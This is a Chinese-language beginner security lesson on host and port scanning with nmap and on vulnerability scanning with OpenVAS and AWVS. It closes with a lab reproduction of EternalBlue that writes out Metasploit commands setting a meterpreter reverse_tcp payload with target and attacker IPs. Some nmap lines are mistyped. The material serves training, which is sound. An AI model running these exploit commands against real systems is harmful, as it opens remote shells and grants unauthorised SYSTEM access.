扫描技术(web安全入门06)

资产发现

发现目标环境中哪些资产,联网设备,主机,服务器,各种服务等。

资产整理,发现,收集。

一、扫描神器 nmap

1、官网:nmap.org

2、跨平台

3、自动集成在 kali

4、如果使用 kali 中的 nmap 扫描的时候,建议桥接

5、如果在没有指定端口的情况下,默认扫描 top 1000 端口

6、推荐一本书,Nmap 渗透测试指南

1.1 主机发现

有哪些主机在线,IP 地址

1.2 端口扫描

开启的端口,端口上运行的服务

扫描方式

TCP 全链接扫描

SYN 半连接扫描

隐蔽扫描

Null 扫描

Xmas 扫描

FIN 扫描

1.3 参数

-sP/-sn 不进行端口扫描

-p 指定端口

-p 80

-p 1-80

-p 80,3389,8080

-p 1-65535

-p-

-sT TCP 全连接扫描(建立完整的三次握手过程)

-sS SYN 半连接扫描(只进行三次握手的前两次)

-sN Null 扫描

-sX Xmas 扫描

-sF Fin 扫描

-sV 显示服务的详细版本

-O 获取操作系统类型(不太准确)

-oN/-oX 保存扫描结果,txt/xml

-A 全面扫描

-T0 ~ -T5 时序选项

1.4 命令

nmap

nmap 127.0.0.1

nmap 192.168.1.0/24 -sP

namp 127.0.0.1 -pnmap 192.168.1.1 -p 80 -sT

nmap 192.168.1.1 -p 80 -sS

nmap 192.168.1.1 -p 80 -sX

nmap 192.168.1.1 -p 80 -sN

nmap 192.168.1.1 -p 80 -sF

namp -sV 127.0.0.1 -p 22

nmap -p- -A 127.0.0.1 -oN result.txt

1.5 工具

wireshark

ipaddr == 10.0.105.1 and tcp.port == 80

1.6 端口状态

开放、关闭、过滤、未过滤、开放|过滤、关闭|过滤

参考《Nmap 渗透测试指南》介绍

二、网络漏洞扫描

我们可以通过网络漏洞扫描,全网络漏洞扫描面掌握目标服务器存在的安全隐患。市面上常

用的扫描器有 Nessus、NeXpose、OpenVAS 等,这是扫描器都有商业版和家庭版。

我们这里使用的是 OpenVAS,可以用来识别远程主机、Web 应用存在的各种漏洞。Nessus

曾是业内开源扫描工具的的标准,在 Nessus 商业化不再开放源代码后,在它的原始项目中

分支出 OpenVAS 开源项目。经过多年发展,OpenVAS 已经成为当前最好的开源漏洞扫描

器,功能非常强大,甚至可以跟一些商业漏洞扫描器相媲美。

OpenVAS 使用 NVT (基于漏洞库扫描)脚本对多种远程系统(包括 Windows、Linux、UNIX

以及 Web 应用程序)的安全问题进行检测

2.1 漏洞扫描原理

网络漏洞扫描是指利用一些自动化的工具发现网上的各类主机设备的安全漏洞。

漏洞扫描通常分为两大类

2.2 黑盒扫描

黑盒扫描一般通过远程识别服务的类型和版本,对服务是否存在漏洞进行判定。在一些最新

的漏洞扫描软件中,应用了一些更高级的的技术,比如模拟渗透攻击。

2.3 白盒测试

白盒扫描就是在具有主机权限的情况下进行漏洞扫描。比如微软的补丁更新程序会定期对你

的操作系统进行扫描,查找存在的安全漏洞,并向你推送详细的系统补丁。

白盒扫描的结果更加准确,但是一般来说他所是被出来的漏洞不应当直接作为渗透测试的最

终数据,因为这些漏洞由于防火墙和各类防护软件的原因很可能无法在外部渗透的测试中得

到利用。同时,一般情况下,你是没有机会获取用户的用户名和口令。

漏洞扫描器一般会附带一个用于识别主机漏洞的特征库,并定期进行更新。在漏洞扫描的时

候,就是利用特征库里的脚本与目标系统的反馈信息进行匹配,如果能匹配上,就说明存在

一个漏洞。

漏洞扫描器再识别漏洞的过程中,会向目标发送大量的数据包,有时候会导致目标系统拒绝

服务或被扫描数据包阻塞,扫描行为会被对方的入侵检测设备发现。

漏洞扫描器扫描出的结果通常会有很多误报(报告发现的漏洞实际不存在)或者漏报(未报

告发现的漏洞实际存在)。因此,需要对扫描结果进行人工分析,确定哪些漏洞是实际存在

的,这个过程叫做漏洞验证。这是渗透测试过程中不可缺少的一步,只有验证漏洞存在的真

实性,才能对漏洞进行深度利用。

渗透测试工作中,在得到客户认可的情况下,可以使用扫描器进行扫描,但使用时一定要注

意规避风险,对其系统运行可能造成的影响降到最低。

三、OpenVAS 扫描

3.1ip 扫描目标

开始进行扫描的时候需要新建一个目标。

新建目标

填写好相关信息,点击[Create].

3.2 扫描策略

查看扫描模板,就是扫描过程中使用的扫描策略和配置,这些扫描模板也可自己配置。

3.3 扫描任务

创建好目标之后,我们创建扫描任务。

新建任务

填写好相关信息,名称自定义。扫描目标要选择之前配置过的,会以下拉列表的形式展现。

创建好扫描目标,点击开始扫描

3.4 扫描完成

点击任务状态,可以查看扫描结果

这里我们发现目标主机存在“永恒之蓝”漏洞

3.5 扫描报告

我们将扫描结果以报告的形式保存下来。

四、Web 漏洞扫描

随着互联网的发展,Web 应用越来越多,同时 Web 应用的攻击成本、攻击难度都比较低,

Web 应用成为黑客攻击的主要目标。无论黑客处于什么样的目的,Web 应用所面临的挑战

都很大的。

如何即时、快速的发现漏洞,并且修补漏洞,减轻和消除 Web 安全风险成为安全行业的重

要课题。

小型的 Web 应用几十上百个页面,大型的 Web 应用成千上万个页面,如果靠人工的方法,

显然是不可取的。因此我们就需要借助与自动化工具,帮助审计员去发现 Web 漏洞。

市面上的 Web 漏洞扫描器有很多,其中 IBM 公司的 AppScan 和商业化 Web 漏洞扫描器

AWVS 未优秀。Web 漏洞扫描器大同小异,本课程以 AWVS 未例子,讲解 Web 漏洞扫描

器的使用。

4.1Web 漏洞扫描原理

进行 Web 漏洞扫描的时候,大致分为以下几个步骤:

1、爬行网站目录

爬行 asp、.net、php 网站

框架类的不建议扫描,例如:java 框架

2、使用漏洞脚本扫描

3、保存扫描结果

4.2 使用 AWVS 扫描 testfire.net

点击[New Scan],即可打开扫描向导,在 Website URL 中输入网址[http://www.testfire.net],

跟着向导一步一步配置即可。

4.3 关于漏洞

1、漏洞名称

2、漏洞风险等级

高危|中危|低危|信息泄露

3、漏洞的描述

4、漏洞的危害

5、修复建议

五、永恒之蓝漏洞复现

工具:MSF(metasploit framework)

具体过程

msfconsole

search ms17-010

use exploit/windows/smb/ms17_010_eternalblue

set payload windows/x64/meterpreter/reverse_tcp

show options

set RHOSTS 192.168.1.143 //目标靶机 ip

set LHOST 192.168.1.142 //本机 IP

exploit

成功拿到靶机的 system 权限